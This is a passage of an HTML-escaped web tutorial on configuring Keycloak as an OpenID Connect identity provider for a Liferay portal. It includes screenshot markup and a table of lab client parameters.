        &lt;source srcSet=&quot;/static/3633cace65281412d4c337dcdd8a3679/5a46d/creazione-identity-provider-openid-connect-dettaglio.png 300w,/static/3633cace65281412d4c337dcdd8a3679/0a47e/creazione-identity-provider-openid-connect-dettaglio.png 600w,/static/3633cace65281412d4c337dcdd8a3679/e35ec/creazione-identity-provider-openid-connect-dettaglio.png 861w&quot; sizes=&quot;(max-width: 861px) 100vw, 861px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 12 - OpenID Connect specific configuration section&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/3633cace65281412d4c337dcdd8a3679/e35ec/creazione-identity-provider-openid-connect-dettaglio.png&quot; title=&quot;Figure 12 - OpenID Connect specific configuration section&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 12 - OpenID Connect specific configuration section&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;h3 id=&quot;24---configuration-of-utilities&quot;&gt;2.4 - Configuration of utilities&lt;/h3&gt;&lt;p&gt;For users to be able to log in, they must be configured on Keycloak. To do this,
you can, for example, configure an LDAP directory service or manually enter some
user just for the purpose of test.&lt;/p&gt;&lt;p&gt;For this operation, please refer to the official Keycloak documentation where it is
you can retrieve all the necessary information on &lt;a href=&quot;https://www.keycloak.org/docs/15.0/server_admin/index.html#user-management&quot;&gt;User Management&lt;/a&gt; and
&lt;a href=&quot;https://www.keycloak.org/docs/15.0/server_admin/index.html#_user-storage-federation&quot;&gt;User Storage Federation&lt;/a&gt;,
useful features for user management and storage mechanisms.&lt;/p&gt;&lt;h2 id=&quot;3---liferay-configuration&quot;&gt;3 - Liferay configuration&lt;/h2&gt;&lt;p&gt;Once the configuration of the Keycloak instance has been completed OpenID Connect,
Liferay must be configured to support authentication via OpenID Connect.&lt;/p&gt;&lt;p&gt;Liferay offers built-in support for SSO systems and OpenID Connect falls
between these. You can add multiple OpenID Connection configurations
Provider.&lt;/p&gt;&lt;p&gt;We therefore assume that the Liferay portal instance is operational and access the
admin panel using admin credentials.
Let&amp;#x27;s assume that the Liferay instance is available at &lt;a href=&quot;https://portal.smc.lab.local&quot;&gt;https://portal.smc.lab.local&lt;/a&gt;&lt;/p&gt;&lt;p&gt;For any further information on configuring OpenID Connect on Liferay
(both CE and DXP), please refer to the official documentation
&lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360028711312-Authenticating-with-OpenID-Connect&quot;&gt;Authenticating with OpenID Connect&lt;/a&gt;.&lt;/p&gt;&lt;h3 id=&quot;31---configure-openid-connect&quot;&gt;3.1 - Configure OpenID Connect&lt;/h3&gt;&lt;p&gt;The first configuration step concerns the enabling of OpenID Connect, the
the second step concerns the configuration of OpenID Connect and in particular
of the Provider.&lt;/p&gt;&lt;p&gt;To enable OpenID Connect, simply go to
&lt;em&gt;Control Panel =&amp;gt; System Settings =&amp;gt; SSO =&amp;gt; OpenID Connect&lt;/em&gt;, check
&lt;em&gt;Enabled&lt;/em&gt; and save the configuration (see the two figures below).&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/d63d1b1b92b88cc7f5833d1ab43f3df0/e1b7c/accesso-configurazione-sso-liferay.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:44.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;179\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20179\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2090v90l1-74%201-74h397v73a1013%201013%200%20002-16V0H0v90m0%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/d63d1b1b92b88cc7f5833d1ab43f3df0/c85cb/accesso-configurazione-sso-liferay.webp 300w,/static/d63d1b1b92b88cc7f5833d1ab43f3df0/e88ff/accesso-configurazione-sso-liferay.webp 600w,/static/d63d1b1b92b88cc7f5833d1ab43f3df0/92f8c/accesso-configurazione-sso-liferay.webp 1200w,/static/d63d1b1b92b88cc7f5833d1ab43f3df0/e9cac/accesso-configurazione-sso-liferay.webp 1449w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/d63d1b1b92b88cc7f5833d1ab43f3df0/5a46d/accesso-configurazione-sso-liferay.png 300w,/static/d63d1b1b92b88cc7f5833d1ab43f3df0/0a47e/accesso-configurazione-sso-liferay.png 600w,/static/d63d1b1b92b88cc7f5833d1ab43f3df0/c1b63/accesso-configurazione-sso-liferay.png 1200w,/static/d63d1b1b92b88cc7f5833d1ab43f3df0/e1b7c/accesso-configurazione-sso-liferay.png 1449w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 13 - Access to the configuration of the SSO systems&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/d63d1b1b92b88cc7f5833d1ab43f3df0/c1b63/accesso-configurazione-sso-liferay.png&quot; title=&quot;Figure 13 - Access to the configuration of the SSO systems&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 13 - Access to the configuration of the SSO systems&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/9d3594f1e379eec53a83b2e06e0ddae8/c679a/liferay-abilitazione-openid-connect.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:41%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;164\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20164\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M116%2037c-1%202%201%206%203%204l3%201h1l3-1c5%200%206%200%206-2h1l2%202%203%201c3%200%205-3%204-5s-7-2-7%200l-14-1c-2-2-4-1-5%201m29-1c-1%202-1%203%201%205h4c2%201%206%200%206-2h1l2%202%202-2%201%201%201%201h10c1%200%202-1%201-2%200-2%200-2-2-2-5%201-21%200-23-1h-4m-29%2098l-1%207%201%207h24v-7c0-5%200-7-2-7h-22\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/9d3594f1e379eec53a83b2e06e0ddae8/c85cb/liferay-abilitazione-openid-connect.webp 300w,/static/9d3594f1e379eec53a83b2e06e0ddae8/e88ff/liferay-abilitazione-openid-connect.webp 600w,/static/9d3594f1e379eec53a83b2e06e0ddae8/92f8c/liferay-abilitazione-openid-connect.webp 1200w,/static/9d3594f1e379eec53a83b2e06e0ddae8/62ed8/liferay-abilitazione-openid-connect.webp 1800w,/static/9d3594f1e379eec53a83b2e06e0ddae8/46261/liferay-abilitazione-openid-connect.webp 2400w,/static/9d3594f1e379eec53a83b2e06e0ddae8/6b080/liferay-abilitazione-openid-connect.webp 2460w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/9d3594f1e379eec53a83b2e06e0ddae8/5a46d/liferay-abilitazione-openid-connect.png 300w,/static/9d3594f1e379eec53a83b2e06e0ddae8/0a47e/liferay-abilitazione-openid-connect.png 600w,/static/9d3594f1e379eec53a83b2e06e0ddae8/c1b63/liferay-abilitazione-openid-connect.png 1200w,/static/9d3594f1e379eec53a83b2e06e0ddae8/d61c2/liferay-abilitazione-openid-connect.png 1800w,/static/9d3594f1e379eec53a83b2e06e0ddae8/97a96/liferay-abilitazione-openid-connect.png 2400w,/static/9d3594f1e379eec53a83b2e06e0ddae8/c679a/liferay-abilitazione-openid-connect.png 2460w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 14 - Enabling authentication via OpenID Connect&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/9d3594f1e379eec53a83b2e06e0ddae8/c1b63/liferay-abilitazione-openid-connect.png&quot; title=&quot;Figure 14 - Enabling authentication via OpenID Connect&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 14 - Enabling authentication via OpenID Connect&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;At this point, you need to move to the &lt;em&gt;OpenID Connect Provider&lt;/em&gt; tab to insert
all configuration parameters concerning the Identity service
Provider (OpenID Connect) previously configured on Keycloak.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;width:400px&quot;&gt;Parameter&lt;/th&gt;&lt;th style=&quot;width:400px&quot;&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Provider Name&lt;/td&gt;&lt;td&gt;iam-keycloak-oidc&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;OpenID Connect Client ID&lt;/td&gt;&lt;td&gt;liferay-portal-client&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;OpenID connect client secret&lt;/td&gt;&lt;td&gt;8562bd93-8ccd-4426-bf7a-681ac9e38a32&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Authorization Endpoint&lt;/td&gt;&lt;td&gt;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/auth &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Issuer URL&lt;/td&gt;&lt;td&gt;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;JWKS URI&lt;/td&gt;&lt;td&gt;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/certs&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Subject Type&lt;/td&gt;&lt;td&gt;public&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Token Endpoint&lt;/td&gt;&lt;td&gt;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/token &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;User Information Endpoint&lt;/td&gt;&lt;td&gt;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/userinfo &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;figcaption&gt;Table 3 - Configuration parameters of the OpenID Connect Provider&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;The two figures below (15 A and 16 B) show the configuration mask of the OpenID
Connect Provider which reports the configuration parameters as well as
indicated in the previous table.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:937px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/96eefb753d2db104d8117b969195a829/98b29/liferay-configurazione-openid-connect-1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:101.66666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;406\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20406\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M108%2030c0%203%200%203%203%203s4-1%204-2h1c0%202%204%202%204%201l2-1%201%201h9c-1%203%201%202%202%200h1l8%201c8%200%209%200%209-3l-1-1-1-1h-4l-1%201h-4l-1-1h-1l-2%201h-5l-3-1h-4l-1-1-1%202c0%201-3%202-3%200l-5-1h-5l-1-1-1%203m20%2020h-5c-5%200-7%201-5%203h15c1-1%201-1%201%201h8l6-1h1l6%201c4%200%205%200%205-2s0-2-6-2h-26m-11%2057c-1%202%201%203%206%202l6%201h1c2-2%204-2%204-1l7-1h1c0%202%204%203%206%201h1c3%201%2013%201%2013-1s-1-2-4-2h-13l-2%201-8-1h-13c-3-1-4%200-5%201m1%2056v2a129%20129%200%200026%200h29c2%201%205%200%205-2l1%201%201%201h6c3%201%205%201%206-2%200-2-3-3-6-1h-41l-1%201-2-1h-19c0-2-5-1-5%201m75%200c0%202-1%202%2015%202%2012%200%2013%200%2013-2%200-1-1-2-3-2s-3%200-2%202h-1l-2-1h-1l-3-1c-2%200-3%200-2%202h-1l-2-1h-1l-2-1c-4%202-6%202-7%201s-1%200-1%201m-76%20205a1545%201545%200%200085-1%2091%2091%200%2000-23%200c-4-1-16%200-16%201h-1c-1-2-7-2-7%200l-1%201-1-1c0-1-1-2-4-2s-5%201-5%202h-2c-1-1-4-2-13-2-11%200-12%200-12%202m98%200c-2%202%201%202%2013%202l11-1h1l12%201h2l18%201%201-1h8l2-1h19l9%201c11%200%2011%200%2011-2-1-2-27-2-30-1h-3a345%20345%200%2000-53%200h-13c-2-1-6-1-8%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/96eefb753d2db104d8117b969195a829/c85cb/liferay-configurazione-openid-connect-1.webp 300w,/static/96eefb753d2db104d8117b969195a829/e88ff/liferay-configurazione-openid-connect-1.webp 600w,/static/96eefb753d2db104d8117b969195a829/ff430/liferay-configurazione-openid-connect-1.webp 937w&quot; sizes=&quot;(max-width: 937px) 100vw, 937px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/96eefb753d2db104d8117b969195a829/5a46d/liferay-configurazione-openid-connect-1.png 300w,/static/96eefb753d2db104d8117b969195a829/0a47e/liferay-configurazione-openid-connect-1.png 600w,/static/96eefb753d2db104d8117b969195a829/98b29/liferay-configurazione-openid-connect-1.png 937w&quot; sizes=&quot;(max-width: 937px) 100vw, 937px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 15 (A) - Configuring the OpenID Connect Provider&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/96eefb753d2db104d8117b969195a829/98b29/liferay-configurazione-openid-connect-1.png&quot; title=&quot;Figure 15 (A) - Configuring the OpenID Connect Provider&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 15 (A) - Configuring the OpenID Connect Provider&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:937px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/969f3638ed85a02a1afa42f1b31f5e03/98b29/liferay-configurazione-openid-connect-2.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:94.33333333333334%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;377\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20377\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M118%2034c0%202-4%202%2039%202a358%20358%200%200152%200l5-1v-1c1-1-1-1-4-1h-7a88%2088%200%2000-23%200c-3-1-16-1-16%201h-2c-2-2-7-2-7%200l-2%201v-1c1-1%200-1-4-1-3%200-5%200-4%201l-1%201-1-1-13-1c-11-1-12-1-12%201m98%200c-1%201-1%201%201%201a84%2084%200%200024%200l6%201%205-1c0-2-4-3-10-2h-16l-2%201c-3-2-7-2-8%200m-98%2056c0%202-4%202%2039%202a358%20358%200%200152%200l5-1v-1l1-1h-12a79%2079%200%2000-23%200c-3-1-16-1-16%201h-2c-2-2-7-2-7%200l-2%201v-1c2-1%202-1-4-1l-4%201h-2l-13-1c-11-1-12-1-12%201m98%200c-2%202%201%202%2013%202l11-1h1l22%201%209%201%202-1h1c2%201%208%200%209-1h19l3%201%203-1%202%201h5l4-1v-1l1%201%202%201c2%200%202-1%201-3a141%20141%200%2000-34%200%20415%20415%200%2000-66%201c-3-2-7-2-8%200m-98%20187c0%202-4%202%2039%202a358%20358%200%200152%200l5-1v-1l1-1h-11l-1%201c-1-2-39-2-39%200h-2c-2-2-7-2-7%200l-2%201v-1c2-1%202-1-4-1l-4%201h-2l-13-2c-11%200-12%200-12%202m98%200c-2%201%201%202%2013%202l11-1h1l22%201%209%201%202-1h1c2%201%208%200%209-1h19l3%201%203-1%202%201%201%201%206-1%206-1h2c-1-2-1-2-16-2h-20a364%20364%200%2000-66%200c-2-1-7-1-8%201m-98%2056a554%20554%200%200079%202h12l5-1v-1l1-1-26-1c-22%200-25%201-25%202h-1c-1-2-8-2-8%200l-2%201v-1c3-1%201-2-4-2l-4%202h-2c-1-2-11-2-11%200l-1%201-1-1-6-2c-5%200-6%200-6%202m98%200c-2%201%201%202%2013%202l11-1h1l23%201%209%201%201-1h8l2-1h19l3%201h11l5-1h4l2%201%202-1%201-1h1a157%20157%200%2000-42-1%20358%20358%200%2000-66%200c-2-1-7-1-8%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/969f3638ed85a02a1afa42f1b31f5e03/c85cb/liferay-configurazione-openid-connect-2.webp 300w,/static/969f3638ed85a02a1afa42f1b31f5e03/e88ff/liferay-configurazione-openid-connect-2.webp 600w,/static/969f3638ed85a02a1afa42f1b31f5e03/ff430/liferay-configurazione-openid-connect-2.webp 937w&quot; sizes=&quot;(max-width: 937px) 100vw, 937px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/969f3638ed85a02a1afa42f1b31f5e03/5a46d/liferay-configurazione-openid-connect-2.png 300w,/static/969f3638ed85a02a1afa42f1b31f5e03/0a47e/liferay-configurazione-openid-connect-2.png 600w,/static/969f3638ed85a02a1afa42f1b31f5e03/98b29/liferay-configurazione-openid-connect-2.png 937w&quot; sizes=&quot;(max-width: 937px) 100vw, 937px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 15 (B) - Configuring the OpenID Connect Provider&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/969f3638ed85a02a1afa42f1b31f5e03/98b29/liferay-configurazione-openid-connect-2.png&quot; title=&quot;Figure 15 (B) - Configuring the OpenID Connect Provider&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 15 (B) - Configuring the OpenID Connect Provider&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/0dcacdae71c5a440aac7511258e95dc8/4352a/liferay-configurazione-openid-connect-saved.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:35%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;140\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20140\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M179%2045l-7%201c-7-1-8-1-8%202%200%202%200%202%203%201h2l9%201h9c1%202%205-1%205-3l-3-1h-6c-1%201-2%201-2-1h-2m-71%201c0%203%201%204%204%204%201-1%202%200%202%201h1l9-1c8%200%209-1%209-2%200-3-1-3-12-2h-13m27%201c0%203%200%203%208%203l7-1h1l1%201h7c3%200%204%200%203-2l-1-2h-22c-1-2-4-1-4%201m-27%2018c1%202%2011%202%2012%200h1c1%202%2013%202%2014%200h3c2%202%208%201%208-1h-14l-2-1-2%201h-1c-1-2-19-1-19%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/0dcacdae71c5a440aac7511258e95dc8/c85cb/liferay-configurazione-openid-connect-saved.webp 300w,/static/0dcacdae71c5a440aac7511258e95dc8/e88ff/liferay-configurazione-openid-connect-saved.webp 600w,/static/0dcacdae71c5a440aac7511258e95dc8/92f8c/liferay-configurazione-openid-connect-saved.webp 1200w,/static/0dcacdae71c5a440aac7511258e95dc8/1bc7b/liferay-configurazione-openid-connect-saved.webp 1364w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/0dcacdae71c5a440aac7511258e95dc8/5a46d/liferay-configurazione-openid-connect-saved.png 300w,/static/0dcacdae71c5a440aac7511258e95dc8/0a47e/liferay-configurazione-openid-connect-saved.png 600w,/static/0dcacdae71c5a440aac7511258e95dc8/c1b63/liferay-configurazione-openid-connect-saved.png 1200w,/static/0dcacdae71c5a440aac7511258e95dc8/4352a/liferay-configurazione-openid-connect-saved.png 1364w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 16 - OpenID Connect Provider iam-keycloak-oidc configuration saved&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/0dcacdae71c5a440aac7511258e95dc8/c1b63/liferay-configurazione-openid-connect-saved.png&quot; title=&quot;Figure 16 - OpenID Connect Provider iam-keycloak-oidc configuration saved&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 16 - OpenID Connect Provider iam-keycloak-oidc configuration saved&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;At this point the configuration of OpenID Connect on Liferay is finished.
You can then proceed with an access test.&lt;/p&gt;&lt;h2 id=&quot;4---access-to-liferay&quot;&gt;4 - Access to Liferay&lt;/h2&gt;&lt;p&gt;The Liferay portal can now be accessed using the OpenID protocol
Connect and test the correct configuration in this way.&lt;/p&gt;&lt;p&gt;From the moment that OpenID Connect is activated, the standard Login portlet of
Liferay displays the login link via OpenID Connect, as shown by the
figure to follow.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/e7a89c99bd9704dcbd523c2de3bdfdde/c4451/liferay-accesso-via-openid-connect-login-form.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:49.66666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;199\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20199\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%20100v99h401V0H0v100m118-66l-1%2064%201%2063h164V33h-82l-82%201m7%2092l-1%205v5h22l1-5v-5l-11-1-11%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/e7a89c99bd9704dcbd523c2de3bdfdde/c85cb/liferay-accesso-via-openid-connect-login-form.webp 300w,/static/e7a89c99bd9704dcbd523c2de3bdfdde/e88ff/liferay-accesso-via-openid-connect-login-form.webp 600w,/static/e7a89c99bd9704dcbd523c2de3bdfdde/92f8c/liferay-accesso-via-openid-connect-login-form.webp 1200w,/static/e7a89c99bd9704dcbd523c2de3bdfdde/a7dc3/liferay-accesso-via-openid-connect-login-form.webp 1450w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/e7a89c99bd9704dcbd523c2de3bdfdde/5a46d/liferay-accesso-via-openid-connect-login-form.png 300w,/static/e7a89c99bd9704dcbd523c2de3bdfdde/0a47e/liferay-accesso-via-openid-connect-login-form.png 600w,/static/e7a89c99bd9704dcbd523c2de3bdfdde/c1b63/liferay-accesso-via-openid-connect-login-form.png 1200w,/static/e7a89c99bd9704dcbd523c2de3bdfdde/c4451/liferay-accesso-via-openid-connect-login-form.png 1450w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
